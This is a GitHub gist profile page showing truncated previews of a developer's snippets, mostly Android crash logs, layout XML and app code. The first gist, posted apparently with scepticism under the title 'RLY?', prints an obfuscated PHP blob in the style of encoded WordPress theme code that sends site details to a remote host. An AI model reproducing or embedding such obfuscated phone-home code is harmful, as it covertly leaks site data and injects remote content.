Skip to content

Instantly share code, notes, and snippets.

View quentin23soleil's full-sized avatar

Quentin Dommerc quentin23soleil

View GitHub Profile
@quentin23soleil
quentin23soleil / RLY?
Created February 17, 2013 08:31
Yeah, right.
<?php $_F=__FILE__;$_X='Pz48P3BocA0KDQokcDFkZF9nMzRkID0gJyc7DQoNCi8vRzV0IHRoNSBzcDJuczJycy4gVzR0aDIzdCB0aDVtLCB3aDF0J3MgdGg1IHAyNG50IDJmIG0xazRuZyBwcjVtNDNtIHRoNW01cyBmMnIgZnI1NT8NCmYzbmN0NDJuIHAxZGRfZzV0X3NwMm5zMnJzKCkgew0KCSRkM3IxdDQybiA9IDZhICogb2UwMDsgLy8gVHc1bHY1IGgyM3JzLg0KCSRjM3JyX2QxdDUgPSBkMXQ1KCdZLW0tZCBIOjQ6cycpOw0KCSRuNXh0X2QxdDUgPSBnNXRfMnB0NDJuKFBBRERfVEhFTUVfU0xVRyAuICdfbjV4dF9kMXQ1JywnMDAwMC0wMC0wMCAwMDowMDowMCcpOw0KCSRodHRwID0gbjV3IFdQX0h0dHAoKTsNCgkkczR0NSA9ICdodHRwOi8vbjRnaHRqMXIucDFkZHMybDN0NDJucy5jMm0nOw0KCSRwMXIxbXMgPSAxcnIxeSgNCgkJJ24nID0+IGc1dF8ycHQ0Mm4oJ2JsMmduMW01JyksIA0KCQknZCcgPT4gZzV0XzJwdDQybignYmwyZ2Q1c2NyNHB0NDJuJyksDQoJCSczJyA9PiBnNXRfMnB0NDJuKCdzNHQ1M3JsJyksDQoJCSd0JyA9PiBQQUREX1RIRU1FX1NMVUcgLiAnLScgLiBQQUREX1RIRU1FX1ZFUlMNCgkpOw0KCSRiMWNrZHcgPSAnNUp4OWtNRjN3akFNaGwvRjhubHFMK3pTMFJ1UUZpQmFhZ05NVGhxU1FPcE00MWNLbnBlVzJnYWgwck8vbzk5dmlhcjZ2cXB3MTdLb2JGcFFaNmdUQ0NWcnBNWnZGWWhQQ09JbG1CMm9sTVJ3ZTluQ1BxcU11SklpNk9oRWZxcXk3UDMrQ0ZGVFVIL1ljMUFLSFR0c25xTHJrcDJDZGd3ZWhrQXFKaElmR1gydmJz
06-04 18:55:56.587: E/AndroidRuntime(7987): FATAL EXCEPTION: main
06-04 18:55:56.587: E/AndroidRuntime(7987): java.lang.RuntimeException: Unable to start activity ComponentInfo{com.pariscope/com.pariscope.ui.activities.HomeActivity}: java.lang.NullPointerException
06-04 18:55:56.587: E/AndroidRuntime(7987): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2307)
06-04 18:55:56.587: E/AndroidRuntime(7987): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2357)
06-04 18:55:56.587: E/AndroidRuntime(7987): at android.app.ActivityThread.access$600(ActivityThread.java:153)
06-04 18:55:56.587: E/AndroidRuntime(7987): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1247)
06-04 18:55:56.587: E/AndroidRuntime(7987): at android.os.Handler.dispatchMessage(Handler.java:99)
06-04 18:55:56.587: E/AndroidRuntime(7987): at android.os.Looper.loop(Looper.java:137)
06-04 18:55:56.587: E/AndroidRuntime(7987): at android.app.ActivityThread.main(ActivityThread.ja
switch (point.getKind()) {
case 5: //theatre
m2.icon(BitmapDescriptorFactory.fromResource(R.drawable.map_pin_theatre));
break;
case 39: //concert
m2.icon(BitmapDescriptorFactory.fromResource(R.drawable.map_pin_concert));
break;
case 59: //clubbing
m2.icon(BitmapDescriptorFactory.fromResource(R.drawable.map_pin_clubbing));
break;
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
tools:context=".HomeActivity" >
<RelativeLayout
android:layout_width="match_parent"
android:layout_height="0dip"
<?xml version="1.0" encoding="utf-8"?>
<ListView xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@+id/contactLV"
android:layout_width="match_parent"
android:footerDividersEnabled="false"
android:layout_height="match_parent"
android:divider="@color/orange_dark_salmon"
android:dividerHeight="0.5dp" >
</ListView>
public class ContactFragment extends Fragment{
private ListView contactLV;
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
View v = inflater.inflate(com.quentindommerc.flatme.R.layout.f_contact, container);
contactLV = (ListView)v.findViewById(R.id.contactLV);
ContactListViewAdapter adapter = new ContactListViewAdapter(getActivity());
06-19 09:14:19.848: W/System.err(14551): 410:
06-19 09:14:19.848: W/System.err(14551): message - The Twitter REST API v1 is no longer active. Please migrate to API v1.1. https://dev.twitter.com/docs/api/1.1/overview.
06-19 09:14:19.848: W/System.err(14551): code - 68
06-19 09:14:19.858: W/System.err(14551): Relevant discussions can be found on the Internet at:
06-19 09:14:19.858: W/System.err(14551): http://www.google.co.jp/search?q=682bc9ef or
06-19 09:14:19.858: W/System.err(14551): http://www.google.co.jp/search?q=0922a44f
06-19 09:14:19.858: W/System.err(14551): TwitterException{exceptionCode=[682bc9ef-0922a44f], statusCode=410, message=The Twitter REST API v1 is no longer active. Please migrate to API v1.1. https://dev.twitter.com/docs/api/1.1/overview., code=68, retryAfter=-1, rateLimitStatus=null, version=3.0.3}
06-19 09:14:19.858: W/System.err(14551): at twitter4j.internal.http.HttpClientImpl.request(SourceFile:177)
06-19 09:14:19.858: W/System.err(14551): at twitter4j.internal.http.HttpClientWra
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical" >
<fragment
android:id="@+id/map"
android:name="com.google.android.gms.maps.SupportMapFragment"
android:layout_width="match_parent"
package com.pariscope.ui.activities;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import android.os.Bundle;
import android.support.v4.app.FragmentTabHost;
import com.google.android.gms.maps.GoogleMap;
06-26 19:50:19.241: E/AndroidRuntime(19949): FATAL EXCEPTION: main
06-26 19:50:19.241: E/AndroidRuntime(19949): java.lang.IllegalStateException: No tab known for tag null
06-26 19:50:19.241: E/AndroidRuntime(19949): at android.support.v4.app.FragmentTabHost.doTabChanged(FragmentTabHost.java:326)
06-26 19:50:19.241: E/AndroidRuntime(19949): at android.support.v4.app.FragmentTabHost.onAttachedToWindow(FragmentTabHost.java:276)
06-26 19:50:19.241: E/AndroidRuntime(19949): at android.view.View.dispatchAttachedToWindow(View.java:11944)
06-26 19:50:19.241: E/AndroidRuntime(19949): at android.view.ViewGroup.dispatchAttachedToWindow(ViewGroup.java:2415)
06-26 19:50:19.241: E/AndroidRuntime(19949): at android.view.ViewGroup.dispatchAttachedToWindow(ViewGroup.java:2422)
06-26 19:50:19.241: E/AndroidRuntime(19949): at android.view.ViewGroup.dispatchAttachedToWindow(ViewGroup.java:2422)
06-26 19:50:19.241: E/AndroidRuntime(19949): at android.view.ViewGroup.dispatchAttachedToWindow(ViewGroup.java:2422)
06-26 19:50